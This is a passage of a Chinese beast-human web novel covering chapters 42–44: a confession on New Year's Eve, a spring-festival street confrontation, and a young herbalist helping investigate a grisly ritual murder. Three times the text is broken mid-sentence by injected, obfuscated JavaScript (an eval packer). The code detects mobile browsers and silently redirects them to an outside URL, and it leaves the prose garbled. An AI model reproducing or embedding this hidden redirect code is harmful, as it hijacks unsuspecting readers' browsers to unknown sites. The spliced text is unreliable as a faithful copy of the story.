安德鲁脸色一变,立刻将方妙护在身后,警惕地看向声音传来的方向。那只受伤的小狼也竖起了耳朵,发出低低的呜咽声,似乎在回应。 “怎么回事?”方妙有些害怕,抓住了安德鲁的胳膊。 “是小狼的家人,”安德鲁沉声说,“它们闻到了小狼的气味,找来了。”他顿了顿,又补充道,“而且,听起来不止一只。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694774|173401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后院的气氛瞬间变得紧张起来。江知烨、柳漠澜、顾时夜、顾夜白和白鸽听到动静,也立刻赶了过来。 “怎么了?”江知烨看到安德鲁护着方妙,脸色凝重,立刻问道。 “有狼,”安德鲁简短地说,“可能是小狼的族群。” 果然,没过多久,几道黑影就从院墙外跳了进来,落在院子里。一共三只成年野狼,体型健壮,毛色灰黑,眼睛在夜色中闪烁着幽绿的光芒,死死地盯着他们,尤其是安德鲁身后的小狼。 “吼——!”为首的那只头狼发出一声怒吼,向前逼近了一步。 气氛瞬间降到了冰点。虽然他们都是兽人,体内都流淌着兽血,但在这种时候,面对暴怒的狼群,尤其是在保护自己在意的人的时候,谁也不敢掉以轻心。 江知烨眼神一凛,身上散发出一股强大的气势:“保护好自己!”他说着,就要上前。 “等等!”柳漠澜拉住了他,“它们只是想要回小狼,先别动手。”他看向那头狼,声音清冷却带着一丝安抚的力量,“我们没有伤害它,它受伤了,我们帮它包扎了。”他指了指安德鲁身边的小狼。 头狼似乎听懂了他的话,目光在小狼身上停留了片刻,看到它腿上的包扎,眼神稍微缓和了一些,但依旧充满了警惕。 安德鲁小心翼翼地将小狼抱起来,向前走了一步,对着头狼说:“我们没有恶意,只是想帮它。现在它的伤已经处理好了,你们可以带它走。” 他将小狼放在地上,小狼立刻跑到头狼身边,蹭着它的腿,发出委屈的叫声。头狼低头舔了舔小狼的头,然后又看向安德鲁一行人,眼神复杂。 过了一会儿,头狼似乎确认了他们没有恶意,又对着小狼低吼了一声,示意它跟上。三只野狼带着小狼,转身,又纵身一跃,消失在院墙之外。 院子里终于恢复了平静,只剩下众人微微急促的呼吸声。 “吓死我了……”顾时夜拍着胸口,心有余悸。 顾夜白也点了点头:“是啊,刚才那狼的眼神,太吓人了。” 江知烨看了看安德鲁和方妙,笑着说:“好了,没事了。看来这小狼还给你们的表白当了回‘见证人’啊。” 安德鲁这才想起刚才被打断的表白,立刻看向方妙,眼神里充满了期待。 方妙的脸颊还红着,刚才的惊吓让她现在还有些心跳加速,但更多的,是刚才没说完的话在心里涌动。 她抬起头,看着安德鲁,眼里闪烁着亮晶晶的光芒,小声却坚定地说:“安德鲁,我也心悦你。” 五个字,像一颗投入湖心的石子,瞬间在安德鲁的心里激起了千层涟漪。他愣住了,似乎不敢相信自己的耳朵。 “你……你说什么?”他声音有些颤抖。 方妙看着他呆呆的样子,忍不住笑了出来,鼓起勇气,又大声说了一遍:“我说,我也心悦你,安德鲁!” 安德鲁猛地回过神,巨大的喜悦瞬间淹没了他。他一把将方妙拥入怀中,紧紧地抱着,仿佛要将她揉进自己的骨血里。 “妙儿……妙儿……”他喃喃地叫着她的名字,声音里充满了激动和难以置信的幸福。 方妙被他抱得有些喘不过气,但心里却甜滋滋的。她也伸出手,回抱着他,将脸埋在他的胸口,感受着他有力的心跳。 “哎呀呀,成了成了!”顾时夜在一旁欢呼起来,“安大人威武!妙儿姐威武!” 顾夜白也跟着起哄:“太好了!今年的除夕真是太难忘了!” 江知烨哈哈大笑着,拍了拍安德鲁的肩膀:“好小子,总算开窍了!” 寒夜惊风,却吹不散满院的暖意。 除夕之夜,烟花绚烂,钟声悠扬,而比这一切更美的,是两颗终于靠近的心。 安德鲁紧紧抱着怀里的方妙,感受着她的温度和心跳,在她耳边轻声说:“妙儿,谢谢你。这个除夕,因为有你,变得独一无二,让我永生难忘。” 方妙在他怀里笑了,声音带着一丝羞涩和幸福:“傻瓜,是我该谢谢你,安德鲁。” 谢谢你给我了一个家,让我不再漂泊。 43. 春风初度 春雪消融的速度快得惊人,不过元宵刚过,河边柳树就已抽出了嫩黄的新芽。 江知烨家院子里那几株老梅还残留着最后一点暗香,却已被墙角冒头的青草衬得有些过时了。 安德鲁与方妙确定心意后的日子,像被阳光晒暖的蜜糖,黏稠而甜腻。 旁人眼里,素来沉稳的“安大人”如今看方妙的眼神总带着化不开的温柔,连说话的语调都不自觉放软了几分。 而方妙呢,往日里像只快活的小鸟,如今却多了几分少女的羞涩,时不时被安德鲁一个不经意的注视惹得脸颊飞红,偏偏又忍不住总想往他身边凑。 “妙儿,过来搭把手。”安德鲁正在廊下修理一张旧木桌,榫卯处有些松动。 方妙端着一盆刚洗好的衣裳从井边走来,闻言立刻放下木盆,小跑过去:“怎么了?” “帮我扶着这边。”安德鲁指了指桌腿,待方妙伸手扶住,他才扬起木槌,“咚”地一声敲在楔子上。 木屑微扬,他下意识偏头,用肩膀替方妙挡住了可能飞溅的碎渣。 “小心些呀。”方妙嗔怪地看他一眼,伸手替他拂去肩头的木屑,指尖触到对方温热的衣料,又像被烫到似的飞快缩回。 安德鲁低笑一声,抓住她的手腕,不让她退开:“躲什么?”他的掌心干燥而温暖,轻轻摩挲着少女手腕细腻的皮肤,“昨晚睡得好吗?” 方妙的脸“腾”地红了,昨晚守岁后众人散去,安德鲁送她回房时,在院门口多站了会儿,月光下他的眼神太过灼热,让她心跳失序了半宿。 她挣脱开他的手,嘟囔道:“挺好的,你快修桌子吧,知烨说修好后要摆在院子里喝茶。” “急什么?”安德鲁故意放慢动作,目光却紧锁着她泛红的耳根,“难得春日好天气,陪我待一会儿不行吗?” “安大人!妙儿姐!你们在干什么呢?”顾时夜的大嗓门像颗小炮仗,炸碎了廊下的暧昧气氛。 他和顾夜白拎着两串糖葫芦从院门跑进来,顾夜白手里还多了个拨浪鼓,咚咚地敲着。 “没看见我们在忙吗?”安德鲁无奈地松开手,瞪了他们一眼。 顾时夜把一串糖葫芦塞给方妙,挤眉弄眼地说:“忙什么?忙谈情说爱吗?啧啧,大白天的,注意点影响啊!” 方妙接过糖葫芦,脸更红了,捶了顾时夜一下:“就你话多!” 顾夜白晃了晃手里的拨浪鼓,凑到方妙面前:“妙儿姐,你看这个,街上买的,好看吗?” “好看。”方妙接过拨浪鼓,逗弄地摇了摇,清脆的响声在院子里回荡。 江知烨和柳漠澜从屋里走出来,柳漠澜手里端着一盘切好的蜜瓜,江知烨还扛着一卷竹席:“哟,都在呢?正好,把这竹席铺在院子里,待会儿晒太阳喝茶。” “江大人,我来帮你!”顾时夜立刻凑过去,顾夜白也跟在后面。 柳漠澜将蜜瓜放在石桌上,看向安德鲁和方妙,眼底带着温和的笑意:“桌子修好了?” “快了。”安德鲁应了一声,手下动作加快。 方妙咬了口糖葫芦,甜丝丝的山楂汁在嘴里化开,看着忙忙碌碌的众人,心里充满了安稳的幸福感。 这就是她的家,有她在意的人,有温暖的烟火气。 午后的阳光正好,竹席铺在院心,石桌上摆着茶点和蜜瓜。众人围坐在一起,喝茶聊天,气氛轻松惬意。 “说起来,再过半个月就是春祭了。”江知烨咬了口蜜瓜,汁水清甜,“今年的春祭,城里说是要办得格外热闹,还要选‘春祭使者’,去城东的神树祈福。” “春祭使者?”顾时夜来了兴致,“感觉和花朝节有点像,怎么选?是不是谁都能参加?” “好像是要比试一番,”江知烨擦了擦嘴角,“具体比什么我也不清楚,不过听说往年都是些力气活或者速度赛,估计是想选个体格好的,能来回跑腿。” “那我和小白肯定行啊!”顾时夜拍着胸脯,“我们兄弟俩跑起来,比兔子都快!” 顾夜白也跟着点头:“嗯!我也能跑!” 柳漠澜给江知烨续了杯茶,淡淡道:“别先忙着吹牛,到时候看看规则再说。” 安德鲁看向方妙,见她正托着腮,听得入神,便问道:“妙儿,你想不想去看看?” 方妙回过神,眼睛亮晶晶的:“想!春祭一定很热闹吧?我还没参加过呢!” “到时候我们一起去。”安德鲁柔声道,“我带你去看。” “好啊好啊!”顾时夜立刻附和,“我们都一起去!凑个热闹!” 江知烨笑着点头:“行,那就说定了,春祭那天,我们都去镇上看看。” 日子在期盼中一天天过去,镇子上关于春祭的准备也越来越热闹。家家户户开始打扫房屋,缝制新衣,街上的摊贩也多了起来,卖着各式各样的祭品和小玩意儿。 这日,安德鲁陪着方妙去镇上□□祭要用的香烛。街上人来人往,热闹非凡。方妙像只好奇的小兽,这儿看看,那儿瞧瞧,眼睛里充满了新奇。 “安德鲁,你看那个!”她指着一个卖糖画的摊位,“好漂亮啊!” 安德鲁牵着她的手走过去,对摊主说:“给她画一只凤凰。” 摊主是个年纪不大的小伙子,闻言笑眯眯地点头,拿起勺子,舀起金黄的糖浆,在石板上飞快地勾勒起来。不多时,一只栩栩如生的凤凰便跃然石上,翅膀上的纹路都清晰可见。 方妙看得眼睛都直了:“哇!好厉害!” 安德鲁将糖画递给她,看着她小心翼翼地捧着,像捧着什么珍宝,心里软得一塌糊涂。 就在这时,街角突然传来一阵骚动,伴随着几声惊呼。安德鲁立刻将方妙护在身后,警惕地望去。 只见几个穿着粗布衣衫的公牛汉子,正围着一个卖草药的山羊小贩推推搡搡,为首的那个满脸横肉,一看就不是善茬。 “我说了,这地盘是我们的!你想在这儿摆摊,就得交保护费!”横肉汉子粗声粗气地说。 小贩是个老实巴交的中年人,吓得瑟瑟发抖:“大哥,我就是个小本买卖,哪有什么钱交保护费啊……” “没钱?没钱就滚蛋!”另一个汉子伸手就要掀他的药摊。 “住手!”一个清冷的声音响起。 众人循声望去,只见柳漠澜不知何时站在了不远处,江知烨站在他身边,脸色沉郁,显然也看不惯这种恃强凌弱的行为。 横肉汉子看到柳漠澜和江知烨,眼神闪烁了一下,似乎有些忌惮,但嘴上却不服软:“你谁啊?少管闲事!” 江知烨上前一步,声音洪亮:“光天化日之下,欺负一个小贩,你们还要不要脸?” “哟呵,哪儿来的愣头青,敢管你爷爷的事?”横肉汉子身后的一个跟班叫嚣道,“也不看看我们是谁!” 安德鲁皱了皱眉,牵着方妙走了过去,顾时夜和顾夜白也从人群中挤了过来,看到这场景,立刻撸起了袖子:“江大人,阿澜哥,需要帮忙吗?” 横肉汉子见他们人多势众,而且个个看起来都不好惹,心里有些发怵,但又不想丢了面子,色厉内荏地说:“你们……你们想干什么?我告诉你们,我们可是‘黑风寨’的人!” “黑风寨?”江知烨嗤笑一声,“没听过。” 柳漠澜上前一步,目光落在横肉汉子身上:“带着你的人,离开这里。别逼我们动手。”他的声音不高,却带着一股无形的压力,让横肉汉子不由自主地后退了一步。 横肉汉子看看面前几个人,终于怂了。他啐了一口,骂骂咧咧地带着手下走了。 围观的人群发出一阵嘘声,随即散去。 小贩连忙对着柳漠澜等人拱手道谢:“多谢各位公子相救,多谢多谢!” 柳漠澜摆了摆手:“举手之劳,你没事就好。” 江知烨拍了拍小贩的肩膀:“以后遇到这种事,别害怕,城上有官府,他们不敢太放肆。” 小贩感激地点头,收拾好药摊,千恩万谢地离开了。 方妙看着柳漠澜等人,眼里满是崇拜:“阿澜哥,知烨,你们好厉害!” 顾时夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694775|173401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得意地挺了挺胸:“那是!也不看看我们是谁!” 安德鲁揉了揉方妙的头,柔声道:“没事了,我们继续买东西吧。” 众人刚要离开,突然,一阵熟悉的狼嚎声从不远处的巷子里传来,虽然很轻,但安德鲁和江知烨等人都瞬间绷紧了神经。 “是狼?”顾时夜脸色一变。 安德鲁眼神一凛,拉着方妙后退一步,看向巷子深处。 巷口的阴影里,慢慢走出一个身影。那是一个穿着兽皮袄的狼族少年,看起来还没成年,乌发乱糟糟的,脸上带着几分野性,但红色瞳孔却很清澈。 只见他怀里抱着一个小布包,看到安德鲁等人,似乎有些惊讶,随即眼神变得警惕起来。 而在他脚边,跟着一只半大的灰狼,正是除夕那晚受伤的那只小狼! 它现在看起来精神多了,腿上的伤也基本好了,看到安德鲁,它还亲昵地摇了摇尾巴。 “是你?”安德鲁认出了这少年,除夕那晚,狼群离开时,他似乎看到过这个少年的身影。 少年看着安德鲁,又看了看他身边的方妙,以及柳漠澜等人,抿了抿唇,低声说:“我……我不是故意的,我只是想来买点东西。”他的声音有些沙哑,带着一丝不易察觉的紧张。 方妙看到小狼,惊喜地叫了一声:“小狼!你没事了?” 小狼听到她的声音,立刻跑了过来,在她脚边蹭来蹭去,发出亲昵的叫声。 少年见状,眼神稍微缓和了一些,但依旧保持着警惕:“它……它认识你?” “嗯,”方妙蹲下身,轻轻抚摸着小狼的头,“除夕那晚,它受伤了,我们帮它包扎了伤口。” 少年恍然大悟,看向安德鲁的眼神不再那么警惕,反而多了几分感激:“原来是你们救了它……谢谢。”他顿了顿,又补充道,“我叫阿野,是它的主人。” “阿野。”安德鲁点了点头,“你刚才在巷子里……” 阿野有些不好意思地低下头,指了指怀里的布包:“我想给它买点肉,但是……我没有钱。”他顿了顿,又抬起头,眼神坚定地说:“不过我不是想偷东西,我只是……只是看看。” 方妙看着阿野清澈的眼睛,心里一软,从兜里掏出几个铜板,递给他:“阿野,你拿着这些钱去买肉吧,给小狼补补。” 阿野连忙摆手:“不行,我不能要你的钱!” “拿着吧,”安德鲁也开口道,“就当是给小狼的药费。” 阿野犹豫了一下,最终还是接过了铜板,小声说:“谢谢你们。”他看了看安德鲁,又看了看方妙,突然说:“其实……那天晚上,我看到你们了。” “看到我们?”安德鲁一愣。 “嗯,”阿野点了点头,“我看到你跟她说……你喜欢她。”他的脸颊微微泛红,“我觉得……你是个好人。” 方妙的脸“腾”地一下红透了,连忙低下头,不敢看安德鲁。 安德鲁却笑了,伸手握住方妙的手,对阿野说:“谢谢你。” 阿野抱着布包,对他们鞠了一躬,然后带着小狼,转身跑回了巷子里,很快消失在众人的视线中。 巷口恢复了平静,只剩下春日的微风,轻轻吹拂着檐角的风铃,发出清脆的响声。 方妙抬起头,看着安德鲁,眼神里带着一丝羞涩和嗔怪:“你看你,让人家都听到了……” 安德鲁握紧她的手,眼里满是笑意:“听到了又怎样?我就是要让所有人都知道,我喜欢你。” 顾时夜在一旁怪叫:“哎哟喂,安大人,你这情话水平见长啊!” 顾夜白也跟着起哄:“就是就是,听得我都起鸡皮疙瘩了!” 江知烨哈哈大笑着,拍了拍安德鲁的肩膀:“行了行了,别在这儿你情我浓了,赶紧陪妙儿买东西吧,等下太阳落山了。” “你没资格说我懂吗?”安德鲁掐着江知烨的后脖颈打趣道,这话惹的所有人哄笑起来。 “走啦走啦!回家回家!” 阳光正好,微风不燥,影子交汇的地方,就是家。 44. 春草萌心 “当雄鹿用犄角丈量领地、毒蛇以毒牙划分尊卑时,这残酷丛林里的生存法则,在弱肉强食的莽荒丛林里,等级血脉的枷锁何曾不是刻进骨髓的天道铁律?” 暮春时节,理尚府门前的石阶被连日细雨洗得发亮,青苔在砖缝里悄悄蔓延,带着湿泥土的气息。 日头刚露,就有个身影停在了府衙那对厚重的朱漆门前。 是个小姑娘,瞧着身量还未完全长开,一袭浅碧色的布裙洗得发白,却浆烫得平整。白色头发用一根同色的布条松松束在脑后,几缕碎发被风吹得贴在脸颊旁,露出一双异常干净的眼睛,像雨后初晴的天空,透着股子执拗的清亮。 一个绵羊族的姑娘,生得一副典型的草食系兽人的柔和样貌,肤色是健康的麦色,脸颊上带着点自然的红晕,嘴唇饱满,鼻梁小巧,若不是此刻她微微攥紧的拳头和挺直的背脊,任谁看了都只当是哪家出来采买的温顺姑娘。 只见她深吸了一口气,气息里还带着清晨青草和野花的淡香,抬手轻轻叩响了门上的铜环。 “咚,咚,咚。” 声响在寂静的清晨里格外清晰。 片刻后,门“吱呀”一声开了条缝,顾时夜探出脑袋,眼睛滴溜溜一转,瞧见是个小姑娘,不由挑了挑眉,语气带着几分戏谑:“哟,哪家的小妹妹,跑这儿来玩了?这地儿可不是嬉闹的地儿。” 随即他身后立刻探出另一个几乎一模一样的脑袋跟着笑道:“就是就是,小心里头的‘大老虎’把你叼走咯。” 苏棉没被他们的玩笑吓退,她往前微微倾身,声音清脆却带着认真:“我找江知烨江大人,我想……我想加入理尚府,当办案的人。” “嗯?”顾时夜和顾夜白有点惊奇地对视一眼,脸上的笑意淡了些。 加入理尚府?一个看起来柔柔弱弱的小姑娘? “找江大人?”顾时夜上下打量着她,“你知道理尚府是做什么的吗?抓贼办案,动刀动枪的,可不是过家家。” “我知道。”苏棉点头,眼神坚定,“所以我要找江大人,亲自跟他说。” 这时,门内传来一个爽朗的声音:“时夜,夜白,什么人在门口喧哗?” 随着话音,江知烨走了出来,他的目光落在苏棉身上,带着几分审视,却并无不耐。 “江大人!”顾时夜和顾夜白立刻收敛了玩笑,齐齐拱手喊道。 江知烨摆摆手,视线转向苏棉:“你找我?” 苏棉看着眼前的人,心里微微有些紧张,但还是鼓起勇气再次开口:“江大人,我叫苏棉,绵羊族的。我想加入理尚府,成为一名能跟着您一起办案的人。” 江知烨挑了挑眉,他见过想加入理尚府的人不少,大多是身强力壮的肉食系兽人,或是有些拳脚功夫的草食系青年,但像眼前这个看起来估计才刚成年,浑身透着一股书卷气和青草味的绵羊族小姑娘,还是头一个。 “哦?”江知烨的声音带着几分温和的探究,“为何想加入理尚府?这可不是轻松的差事,刀光剑影不说,有时候还得面对些……不堪的场面。” 苏棉咬了咬下唇,眼神却亮了起来,像是想起了什么难忘的事:“因为春祭的时候!我看到您和您的人了,那时候有个公牛汉子在跟一个山羊小贩勒索保护费,态度特别凶,眼看就要动手了,是您带人过去,几句话就喝止了他,还帮那个山羊大叔解了围。” 她的语速快了些,带着些向往:“我当时就觉得,您和您的人特别厉害,能主持公道,让那些被欺负的人不用害怕。我也想做这样的事,想伸张正义,不想再看到有人被欺负却只能忍着。” 春祭那日的事,江知烨有些印象,不过是件寻常的街头纠纷。他看着苏棉眼中闪烁的光芒,那是纯粹的热血和憧憬。 但理尚府不是靠热血就能运转的地方。 身边的顾时夜和顾夜白也收起了玩笑,脸上露出了犹豫的神色——小姑娘看着太单薄了,理尚府里的案子,哪一桩是容易的?尤其是他们面对的,大多是些凶狠的肉食系兽人,就算是草食系的犯案者,也多是些心思深沉之辈。 为了劝退她,江知烨决定说得更明白些,他语气委婉却直接:“苏棉姑娘,伸张正义是好事,但理尚府办案,需要些实实在在的本事。”他顿了顿,看着苏棉,“你会飞吗?比如像鹰隼族那样,从高空俯瞰,勘察现场?” 苏棉老实摇头:“不会。” “那你会潜水吗?”江知烨接着问,“比如像鳄族或者鱼族那样,能在水底搜寻线索?” 苏棉还是摇头:“也不会。” “那你会打架吗?”江知烨的目光落在她纤细的手臂上,“比如拳脚功夫,或者刀剑器械,能保护自己,甚至制服犯人?” 闻言苏棉的脸微微红了红,有些不好意思,但还是坦诚道:“这个……我也不太会,只跟阿爹学过一点粗浅的防身体术,对付不了厉害的人。” 顾时夜忍不住低声嘀咕了一句:“江大人,您这问题……她要是会这些,还能是这模样吗?” 顾夜白也点点头,看向苏棉的眼神带着点同情。 江知烨没理会那对兄弟,他看着苏棉,语气带着一丝无奈和劝退的意味:“苏棉姑娘,你看,会飞、会潜水、会打架,这些在我们办案时都可能用到。你既然都不会,那你会什么呢?理尚府处理案件,可不是只靠一腔热血就能行的。” 苏棉被问得有些着急,她不想就这么被拒绝。 她绞着手指,忽然抬起头,眼神重新变得明亮,甚至带着点小小的骄傲:“我会认草药!所有的草药,不管是长在山上的,还是生在河边的,是有毒的,还是能治病的,我都认识!我阿爹是村里的大夫,我从小跟着他认药、采药、晒药,什么样的草药我都能分清楚,它们的习性、用法、毒性,我都知道!” 她说得飞快,像是要把自己所有的本事都倒出来:“您看案子的时候,有时候是不是会遇到中毒的情况?或者现场有什么奇怪的植物痕迹?我可以帮您认!还有,受伤的时候,我也能帮忙处理伤口,用合适的草药止血消炎!这、这也算本事吧?” 江知烨微微一怔。认草药?这倒是他没想到的。理尚府里确实有仵作,也有懂些医术的捕快,但专门对草药如此精通的,还真没有。 不过,这和办案能有多大关联?毕竟他们也有专门的大夫。 他还没说话,苏棉又急切地补充道:“江大人,您就给我一个机会吧!下一次,下一次您去办案的时候,让我跟着去,我就在旁边看着,绝不捣乱,我会把我知道的都告诉您,我一定会表现得很好的!您就看看,看看我的本事有没有用,好不好?” 她的眼睛睁得大大的,里面满是恳求,迫切渴望得到认可。 江知烨看着她这副模样,心里那点想劝退的心思倒是有些松动了。小姑娘性子倒是坚韧,而且那份对草药的自信,不像是假的。 再说,拒绝一个如此恳切的小姑娘,似乎也有些不近人情。 他沉吟了一下,旁边的顾时夜和顾夜白也看着他,眼神里带着“江大人您可别真答应了”的意思。 最终,江知烨无奈地叹了口气,对苏棉点了点头:“罢了,看你这性子,不让你试试,怕是不会死心。”他顿了顿,语气严肃了些,“不过丑话说在前头,跟案可以,但一切行动听指挥,不准擅自行动,遇到危险立刻躲起来,明白吗?” “明白!谢谢江大人!”苏棉的脸上立刻绽开一个灿烂的笑容,像春日里最明媚的花,“我一定听话!” 江知烨看着她那副欣喜的样子,摇了摇头,对两小乌鸦崽道:“好了,别堵在门口了,进去吧。苏棉姑娘,你先回去,等有案子了,我让人通知你。” “好!”苏棉用力点头,这才依依不舍地转身离开,脚步轻快,仿佛身上有使不完的劲儿。 看着她的背影消失在街角,顾时夜忍不住凑过来:“江大人,您真打算带她去办案?这……靠谱吗?” 江知烨拍了拍他的肩膀,语气带着几分玩味:“行不行,试过才知道。再说,多个人认认草药,说不定……真能派上用场呢?”他心里其实也没底,只是看着苏棉那股子认真劲儿,终究是没硬下心肠。 到底还是在对方身上看到了当年的安德鲁,热血有志向。 苏棉回到家里后,便开始坐立不安地等待。她把自己常用的药篓整理了一遍又一遍,将常用的草药分门别类地放好,又仔细检查了阿爹留给她的那本手抄草药图册,生怕到时候漏了什么。她的阿爹前年冬天因病去世了,留下她和一间小小的药铺,平日里她就靠着认药采药卖钱维生,但心里那点想做点不一样事情的火苗,却在看到江知烨他们那天后,彻底燃烧了起来。 等待的日子并不长。不过三四天,一个暮春的午后,天气有些闷热,乌云低低地压在城楼上,像是随时会落下一场大雨。顾时夜气喘吁吁地跑到苏棉的药铺,脸上少见地没了平日的嬉笑,神色显得有些凝重。 “苏棉姑娘,江大人让你跟我们走一趟,出案子了,有点……棘手。”顾时夜说道,语气比平时郑重了许多。 苏棉心中一紧,连忙应下,背上早已准备好的药篓,跟着顾时夜快步往案发地赶去。 一路上,顾时夜简单说了几句案情:案子发生在城南的一片废弃窑厂,那里平日里少有人去,今天被一个拾荒的老汉发现了异常,报了官。 废弃窑厂位于南清城南郊,靠近护城河,荒草丛生,几座破败的窑洞像怪兽的口器,沉默地蹲伏在杂草中。空气中弥漫着一股潮湿的土腥味和淡淡的腐朽气息。当苏棉跟着顾时夜赶到时,窑厂外围已经拉起了警戒线,几个戍卫守在那里,脸色都不太好看。 江知烨站在一座相对完整的窑洞前,眉头紧锁。他身边除了顾夜白,还有一个穿着灰色长衫的中年穿山甲男子,是府衙的仵作老陈,此刻正拿着工具,小心翼翼地在窑洞内勘察。 顾时夜带着苏棉走上前,低声道:“江大人,苏棉姑娘带来了。” 江知烨回头看了苏棉一眼,见她虽然脸色有些发白,但眼神还算镇定,点了点头:“来了就好,跟在后面,别靠近,看清楚,记在心里。” 苏棉用力点头,跟着江知烨走进了窑洞。 一踏入窑洞,一股浓烈的血腥味混合着泥土和某种难以言喻的怪异气味扑面而来,直冲鼻腔。苏棉下意识地屏住了呼吸,胃里一阵翻涌。她强忍着不适,抬眼望去。 窑洞内的景象让她瞬间瞪大了眼睛,浑身的血液仿佛都凝固了。 地上铺着一层厚厚的干草,干草上躺着一具尸体。 那是一个年轻的男子,赤着上身,下身只穿着一条破烂的裤子。但让人惊骇的是,他的尸体被以一种极其诡异的方式“布置”着——四肢被扭曲地固定在地上,用粗麻绳绑在几根打入土中的木桩上。 而最让人毛骨悚然的是,他的胸口被剖开了一个巨大的创口,内脏清晰可见,但并非杂乱无章,而是被某种手法排列成了一个类似……类似某种图腾或者符号的形状。创口边缘异常整齐,显示出凶手极高的解剖技巧,但又带着一种近乎疯狂的仪式感。 尸体的周围,散落着一些奇怪的东西:几片颜色诡异的花瓣,几根不知名的羽毛,还有一些用泥土画在地上的、扭曲难懂的线条。窑洞的墙壁上,还用鲜血画着一个巨大的、张开双臂的人形轮廓,轮廓内部填满了复杂的纹路,像是某种原始的祭祀图案。 “我的天……”顾夜白忍不住低呼了一声,脸色苍白,就算是他,也很少见到如此血腥和变态的场面。 老陈仵作蹲在尸体旁,额头渗出冷汗,声音有些发颤:“江大人,这……这手法太邪门了。死者是雄性驴族兽人,初步判断死亡时间在昨晚子时到丑时之间。致命伤就是胸口的创口,心脏……不见了,被取走了。其他地方没有明显的致命外伤,但四肢有被强行捆绑的痕迹,生前应该遭受过折磨。” 江知烨的脸色沉得像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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苏棉小心翼翼地走上前,蹲在离尸体几步远的地方,先是观察那些血盏花的花瓣。她伸出手指,在离花瓣不远的地方轻轻捻了捻,又凑过去闻了闻,然后她的目光转向那些散落在干草上的白色粉末。她没有直接用手去碰,而是从自己的药篓里拿出一根细长的木签,小心翼翼地挑起一点粉末,放在鼻尖下轻嗅,又借着窑洞外透进来的微光仔细查看。 片刻后,她站起身,走到江知烨身边,低声道:“江大人,顾大哥说的没错,这确实是血盏花的花瓣,不过……”她顿了顿,“这花瓣很新鲜,不像是从乱葬岗那边摘来的。乱葬岗的血盏花因为生长环境恶劣,花瓣边缘会有细小的锯齿,颜色也更深一些,而这些花瓣边缘平滑,颜色虽然红,但透着一股光泽,像是人工培育过的,或者是生长在水肥充足的地方。” 江知烨闻言,眼神一凝:“人工培育的?这血盏花有毒,谁会去培育这东西?” 苏棉摇摇头:“我不知道。另外,地上这些白色粉末,”她指了指那些细微的粉末,“我闻了一下,有淡淡的苦味,还有点……土腥味。这不是普通的泥土粉末,里面掺了东西。我仔细看了一下,里面有极细的纤维状物质,还有一些……像是某种矿石研磨后的颗粒。” “哦?”江知烨来了兴趣,“你能看出是什么矿石吗?” “现在还不能确定,需要更仔细地辨认,可能需要拿到药铺去用工具查看。”苏棉老实说,“不过这种粉末……我感觉有点熟悉,好像在哪里见过类似的,但一时想不起来。” 她又看向那些羽毛:“这些羽毛,应该是某种猛禽的,比如鹰或者隼,但具体种类需要看羽毛的纹路和质地,现在看不太清楚。” 江知烨听着苏棉的分析,心里有些惊讶。他原本只是抱着让她试试的心态,没想到她这么快就看出了这么多细节,而且说得有条有理,不像一个初出茅庐的小姑娘。 “很好,”江知烨点点头,语气里带着赞许,“你观察得很仔细。这些发现很重要。” 就在这时,一直沉默的老陈仵作忽然开口,声音带着一丝惊恐:“江大人,您看……死者的嘴里。” 江知烨立刻走到尸体旁,老陈用工具小心翼翼地撬开死者的嘴。只见死者的口腔内部,舌头上,竟然也用某种红色的东西画着一个小小的符号,和墙上那个巨大的轮廓内的纹路有些相似,但更为简略。 “这……这凶手到底想干什么?”顾夜白忍不住喃喃道,“又是剖胸,又是摆内脏,还画这些奇怪的符号,取走心脏……这也太变态了。” 江知烨的脸色越来越沉,他站起身,环顾着这间诡异的窑洞,沉声道:“这不是简单的杀人案,凶手的行为带有强烈的仪式感和目的性。他不是为了钱财,也不是为了简单的仇杀,他在……进行某种‘表演’或者‘祭祀’。” 他的目光落在墙上那个巨大的血画人形轮廓上,眼神锐利:“他想告诉我们什么?或者说,他想通过这种方式,表达他的某种理念。” 就在这时,窑洞外传来一阵骚动,一个戍卫匆匆跑进来:“江大人,在窑厂外面的草丛里,我们发现了这个!” 捕快手里拿着一个用破布包裹着的东西,递给江知烨。 见状江知烨小心地接过,打开破布,里面是一块木板,木板上用血写着一行字,字迹潦草而有力,带着一种狂放和偏执的气息: “‘虽已着衣冠,行走如人状,然血脉深处,兽性永在。捕猎、杀戮,乃天道法则,顺之者生,逆之者亡。此,为证。’” 江知烨读完这行字,瞳孔骤然收缩。 顾时夜和顾夜白脸色大变:“这……这是什么意思?” “意思是,”江知烨的声音冰冷,“凶手是一个偏执的肉食系兽人,他认为,不管我们进化到什么程度,长出了手脚,有了思维,本质上还是动物,捕猎和杀戮是生存的法则,是天经地义的。他在为他的杀戮寻找‘合理性’,甚至……在宣扬这种理念。” 窑洞内一时陷入了死寂,只有外面风吹过荒草的沙沙声,显得格外阴森。 苏棉站在一旁,听着江知烨的话,看着眼前血腥诡异的现场,还有那块木板上疯狂的言论,忍不住打了个寒颤。 